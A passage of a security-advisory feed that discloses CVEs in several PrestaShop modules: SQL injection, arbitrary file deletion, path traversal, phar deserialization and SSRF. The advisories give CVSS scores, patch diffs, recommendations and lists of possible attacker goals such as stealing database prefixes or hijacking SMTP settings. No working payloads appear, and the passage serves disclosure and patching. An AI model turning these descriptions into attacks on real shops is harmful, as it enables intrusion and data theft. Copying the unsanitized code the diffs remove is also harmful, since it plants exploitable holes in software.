<span class="gd">-			VALUES('.(int)$id_product.', "'.(string)$email.'", '.(int)$cid.', 0, "'.(string)$name.'", "'.(string)$phone.'", "'.(string)$message.'", "'.(string)$amount.'", '.(int)$customer_id.', "'.(string)$real_price.'", '.(int)$id_currency.')
</span><span class="gi">+			VALUES('.(int)$id_product.', "'.pSQL($email).'", '.(int)$cid.', 0, "'.pSQL($name).'", "'.pSQL($phone).'", "'.pSQL($message).'", "'.pSQL($amount).'", '.(int)$customer_id.', "'.pSQL($real_price).'", '.(int)$id_currency.')
</span>		');
		$last_id = (int)Db::getInstance()-&gt;Insert_ID();
		return $last_id;
	}
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>makeanoffer</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-01-15</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2024-01-15</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-01-17</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-01-23</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-05</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/price-management/19507-make-an-offer.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25849">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Make an offer” (makeanoffer) up to version 1.7.1 from PrestaToolKit for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-25842] External Control of File Name or Path in Presta World - Account Manager - Sales Representative &amp;amp; Dealers - CRM module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/29/prestasalesmanager.html" rel="alternate" type="text/html" title="[CVE-2024-25842] External Control of File Name or Path in Presta World - Account Manager - Sales Representative &amp;amp; Dealers - CRM module for PrestaShop" /><published>2024-02-29T00:00:00+00:00</published><updated>2024-02-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/29/prestasalesmanager</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/29/prestasalesmanager.html"><![CDATA[<p>In the module “Account Manager - Sales Representative &amp; Dealers - CRM” (prestasalesmanager) up to version 8.0.0 from Presta World for PrestaShop, a guest can delete all files of the system.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25842">CVE-2024-25842</a></li>
  <li><strong>Published at</strong>: 2024-02-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: prestasalesmanager</li>
  <li><strong>Impacted release</strong>: &lt;= 8.0.0 (9.0.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Presta World</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/73.html">CWE-73</a></li>
  <li><strong>Severity</strong>: critical (9.1)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">PrestaSalesManagerChatboxModuleFrontController::uploadLogo()</code> and <code class="language-plaintext highlighter-rouge">PrestaSalesManagerMyAccountManagerTabModuleFrontController::postProcess</code> has sensitive fopen call that can be executed with a trivial http call and exploited to delete all files of the system.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: none</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Delete all files from the Shop</li>
  <li>Disable critical security configuration (.htaccess) to access private zone</li>
</ul>

<h2 id="patch-from-800">Patch from 8.0.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 8.0.0/modules/prestasalesmanager/controllers/front/chatbox.php
</span><span class="gi">+++ 9.0.0/modules/prestasalesmanager/controllers/front/chatbox.php
</span><span class="err">...</span>
-           $idTicket = Tools::getValue('id_enquiry');
<span class="gi">+           $idTicket = (int) Tools::getValue('id_enquiry');
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 8.0.0/modules/prestasalesmanager/controllers/front/myaccountmanagertab.php
</span><span class="gi">+++ 9.0.0/modules/prestasalesmanager/controllers/front/myaccountmanagertab.php
</span><span class="err">...</span>
-           $idHelpDesk = Tools::getValue('id_helpDesk');
<span class="gi">+           $idHelpDesk = (int) Tools::getValue('id_helpDesk');
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>prestasalesmanager</strong>.</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-26</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb</a> and <a href="https://www.algo-factory.com/">Algo Factory</a></td>
    </tr>
    <tr>
      <td>2023-10-26</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-30</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2024-01-16</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/third-party-data-integrations-crm-erp/90816-account-manager-sales-representative-dealers-crm.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25842">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;Algo-Factory.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Account Manager - Sales Representative &amp; Dealers - CRM” (prestasalesmanager) up to version 8.0.0 from Presta World for PrestaShop, a guest can delete all files of the system.]]></summary></entry><entry><title type="html">[CVE-2024-24307] Improper Limitation of a Pathname to a Restricted Directory in Tunis Soft - Product Designer module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/29/productdesigner-22.html" rel="alternate" type="text/html" title="[CVE-2024-24307] Improper Limitation of a Pathname to a Restricted Directory in Tunis Soft - Product Designer module for PrestaShop" /><published>2024-02-29T00:00:00+00:00</published><updated>2024-02-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/29/productdesigner-22</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/29/productdesigner-22.html"><![CDATA[<p>In the module “Product Designer” (productdesigner) up to version 1.178.36 from Tunis Soft for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24307">CVE-2024-24307</a></li>
  <li><strong>Published at</strong>: 2024-02-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: productdesigner</li>
  <li><strong>Impacted release</strong>: &lt; 1.178.36 (1.178.36 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Tunis Soft</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">ProductDesignerUserUploadModuleFrontController::ajaxProcessCropImage()</code> has sensitive action that can be executed with a trivial http call and exploited to forge a Path traversal attack.</p>

<p>Note : We are forced to tag it as a high gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">this</a></p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how to exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin / Adminer / etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>productdesigner</strong>.</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-11-07</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-11-07</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-11-07</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2023-11-08</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-02-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Tunis Soft thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/combinaisons-customization/30176-product-designer.html">PrestaShop addons product page</a></li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24307">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Tunis Soft&quot;, &quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Designer” (productdesigner) up to version 1.178.36 from Tunis Soft for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2024-24302] Deserialization of Untrusted Data in Tunis Soft - Product Designer module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/29/productdesigner-502.html" rel="alternate" type="text/html" title="[CVE-2024-24302] Deserialization of Untrusted Data in Tunis Soft - Product Designer module for PrestaShop" /><published>2024-02-29T00:00:00+00:00</published><updated>2024-02-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/29/productdesigner-502</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/29/productdesigner-502.html"><![CDATA[<p>In the module “Product Designer” (productdesigner) up to version 1.178.36 from Tunis Soft for PrestaShop, a guest can execute a remote code via un untrusted data deserialized.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24302">CVE-2024-24302</a></li>
  <li><strong>Published at</strong>: 2024-02-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: productdesigner</li>
  <li><strong>Impacted release</strong>: &lt; 1.178.36 (1.178.36 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Tunis Soft</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="description">Description</h2>

<p>Prior to PHP 8.0, a deserialization of untrusted data exploiting phar wrapper, in the method <code class="language-plaintext highlighter-rouge">ProductDesignerPixabayModuleFrontController::postProcess()</code> can be used with a trivial http call and exploited to execute a remote code.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Steal/Remove data from the associated PrestaShop</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module to its latest version</li>
  <li>Activate OWASP 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-24</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-24</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-25</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2023-11-07</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-02-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Tunis Soft thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/combinaisons-customization/30176-product-designer.html">PrestaShop addons product page</a></li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24302">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Tunis Soft&quot;, &quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Designer” (productdesigner) up to version 1.178.36 from Tunis Soft for PrestaShop, a guest can execute a remote code via un untrusted data deserialized.]]></summary></entry><entry><title type="html">[CVE-2024-26469] Server-Side Request Forgery (SSRF) in Tunis Soft - Product Designer for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/29/productdesigner-918.html" rel="alternate" type="text/html" title="[CVE-2024-26469] Server-Side Request Forgery (SSRF) in Tunis Soft - Product Designer for PrestaShop" /><published>2024-02-29T00:00:00+00:00</published><updated>2024-02-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/29/productdesigner-918</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/29/productdesigner-918.html"><![CDATA[<p>In the module “Product Designer” (productdesigner) up to version 1.178.36 from Tunis Soft for PrestaShop, an anonymous user can perform a Server-Side Request Forgery (SSRF) in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26469">CVE-2024-26469</a></li>
  <li><strong>Published at</strong>: 2024-02-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: productdesigner</li>
  <li><strong>Impacted release</strong>: &lt; 1.178.36 (1.178.36 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Tunis Soft</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918</a></li>
  <li><strong>Severity</strong>: critical (9.1)</li>
</ul>

<h2 id="description">Description</h2>

<p>In the Product Designer module from Tunis Soft for PrestaShop, an improper validation of <code class="language-plaintext highlighter-rouge">url</code> parameter in the method <code class="language-plaintext highlighter-rouge">ProductDesignerPixabayModuleFrontController::postProcess</code> can be executed via a trivial HTTP call to forge Server-Side Request.</p>

<p>This vulnerability can be exploited to initiate a HTTP request and get the return, for instance, use the vulnerable website as proxy to attack others websites, exfiltrate data in files under IP restriction or perform a path traversal attack.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Attack others websites via the vulnerability</li>
  <li>Bypass WAF/.htaccess restrictions</li>
  <li>Perform path traversal attack</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module to its latest version</li>
  <li>Activate OWASP 930 and 931’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-09-30</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr/">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2023-09-30</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-25</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2023-11-07</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Tunis Soft thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/combinaisons-customization/30176-product-designer.html">PrestaShop addons product page</a></li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26469">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Tunis Soft&quot;, &quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Designer” (productdesigner) up to version 1.178.36 from Tunis Soft for PrestaShop, an anonymous user can perform a Server-Side Request Forgery (SSRF) in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-25847] Improper neutralization of SQL parameter in MyPrestaModules - Product Catalog (CSV, Excel) Import module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/29/simpleimportproduct.html" rel="alternate" type="text/html" title="[CVE-2024-25847] Improper neutralization of SQL parameter in MyPrestaModules - Product Catalog (CSV, Excel) Import module for PrestaShop" /><published>2024-02-29T00:00:00+00:00</published><updated>2024-02-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/29/simpleimportproduct</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/29/simpleimportproduct.html"><![CDATA[<p>In the module “Product Catalog (CSV, Excel) Import” (simpleimportproduct) up to version 6.7.0 from MyPrestaModules for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25847">CVE-2024-25847</a></li>
  <li><strong>Published at</strong>: 2024-02-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: simpleimportproduct</li>
  <li><strong>Impacted release</strong>: &lt;= 6.5.0 (6.7.1 ““fixed”” the vulnerability - See note below)</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">Send::__construct()</code> and <code class="language-plaintext highlighter-rouge">importProducts::_addDataToDb</code> have sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Note : The author has moved its exposed ajax script which suffers a critical issue, to the front controller under an unpredictable token. It’s no longer a critical vulnerability issue, but be warned that it remains a high vulnerability issue with a CVSS 3.1 score <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">7.2/10</a></p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-650">Patch from 6.5.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 6.5.0/modules/simpleimportproduct/classes/send.php
</span><span class="gi">+++ XXXXX/modules/simpleimportproduct/classes/send.php
</span>            if (Tools::getValue('remove') == true) {
                $key = Tools::getValue('key');
                $key = pSQL($key);
<span class="gd">-               Db::getInstance()-&gt;delete('simpleimport_tasks', "import_settings=$key");
</span><span class="gi">+               Db::getInstance()-&gt;delete('simpleimport_tasks', "import_settings='".$key."'");
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 6.5.0/modules/simpleimportproduct/classes/import.php
</span><span class="gi">+++ XXXXX/modules/simpleimportproduct/classes/import.php
</span>        if (Tools::getValue('id_task')) {
<span class="gd">-           $data['id_task'] = Tools::getValue('id_task');
</span><span class="gi">+           $data['id_task'] = (int) Tools::getValue('id_task');
</span>        }
<span class="err">...</span>
    if( Tools::getValue('id_task') ){
<span class="gd">-     $data['id_task'] = Tools::getValue('id_task');
</span><span class="gi">+     $data['id_task'] = (int) Tools::getValue('id_task');
</span>    }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>simpleimportproduct</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-29</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-29</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-30</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2023-11-15</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/import-export-de-donnees/19091-catalogue-de-produits-csv-excel-dimportation.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25847">National Vulnerability Database</a></li>
